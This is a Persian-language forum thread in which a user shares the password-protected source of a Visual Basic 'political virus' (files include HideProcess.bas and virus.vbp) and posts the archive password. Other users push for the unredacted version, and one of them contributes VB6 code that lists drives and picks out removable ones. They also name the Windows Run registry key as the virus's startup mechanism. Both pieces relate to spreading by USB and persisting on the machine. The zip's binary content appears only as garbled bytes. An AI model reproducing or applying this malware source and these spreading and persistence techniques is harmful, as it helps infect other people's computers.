سورس ویروس سیاسی

[amir200ha]

این هم سورس ویروس سیاسی ورژن3
سعی کردم از سرو ته سورس بزنم که واسه تازه کارها راحت بشه

[Scorpion]

دادا پسورد لازمه که این ؟؟؟؟

---

یکم کار کردم رمز رو خودم پیدا کردم
ممنون

کد:

30YA30/Form1.frmPK
    ˆXw‚ƒع>   R
               /%  30YA30/Form1.frxPK
    ،b7¥‎ظْ          
     «%  30YA30/HideProcess.basPK
    ک¾K4IخK“44  ً4               é)  30YA30/iranian.RESPK
    |='4xrگu
          
     ]^  30YA30/Module1.basPK
    ن‚‡8‏ˆGث•   ¾         
!   `  30YA30/MSSCCPRJ.SCCPK

       ل´J4                        è`  30YA30/New Text Document.txtPK
    ˆXw[ع?v          
     >a  30YA30/virus.vbpPK
    CYwd<‘µr   v         
     ٍc  30YA30/virus.vbwPK    

|  ¢d  ë Copyright © 2008 by Amir SPY Boy
Company Name: >> Group200H <<
Created By: Amir Dynamite
Programmer Team: ASTRAL Hacking
e-mail: Amir200h@gmail.com
Yahoo! ID: Amir200hA
Just For Iran & Iranian

Password: www.amir200h.blogfa.com

از توی محتویات باینری فایل زیپ
Password: www.amir200h.blogfa.com

[HoseinVig]

اگه میتونی سرس اصلیشو بزار منظورم اینه که از سر و تهش نزن

---

کد:

پسورد هم اینه : www.amir200h.blogfa.com

[yeketaz]

راست می گه

مهم نیست سورس چقدر حرفه ایه

هرکسی نسبت به چیزهایی که می دونه و می خواد بدونه از اون استفاده می کنه

من اصلا قبول ندارم که سر و ته سورس رو بزنم مخصوصا ویروس که همه جاش مهمه

[amir200ha]

چیز زیادی نبود
مثلا نوع قرار گرفتنش تو استارت آپ فرق می کرد
یه یوزرکنترل بود که فرم رو به یه حالت خاص در میاورد
یا نوع کپی کردن خودش تو فلش ها که نمی شد اینارو بزارم

[HoseinVig]

چرا نمیشد؟؟؟؟

[kimiafars]

چرا نمیشه؟؟؟؟؟؟؟؟؟؟؟؟

[babyy]

سلام

یا نزارید ؛ یا کامل بزارید ،

[CRazYFULL]

برای پيدا کردن و تشخيص نوع درايو از اين دو تابع API استفاده ميکنند

کد:

'moshakhas kardan nooe drive
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
'tamam partishenha ra peyda mikonad
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

کد:

Function GeTypeDrive() As String
Dim Buffer As String
Dim Drive() As String
Buffer = String(256, " ")
GetLogicalDriveStrings 256, Buffer
Buffer = Replace(Buffer, " ", "")
Drive = Split(Buffer, Chr(0))
For i = LBound(Drive) To UBound(Drive) - 2
List1.AddItem Drive(i) & " (" & GetDriveTypeName(Drive(i)) & ") "
Next i
End Function

Function GetDriveTypeName(Drive As String) As String
Select Case GetDriveType(Drive)
Case Is = 1
GetDriveTypeName = "Do not Exists"
Case Is = 2
GetDriveTypeName = "Removable"
Case Is = 3
GetDriveTypeName = "Drive Fixed"
Case Is = 4
GetDriveTypeName = "Remote or Network"
Case Is = 5
GetDriveTypeName = "Cd-Rom"
Case Is = 6
Me.Print "Ram disk"
Case Else
GetDriveTypeName = "Unrecognized"
End Select
End Function

استارت آپ خاصی نداره
"Software\Microsoft\Windows\CurrentVersion\Run"

ديگه فکر نميکنم قسمت خاصی داشته باشه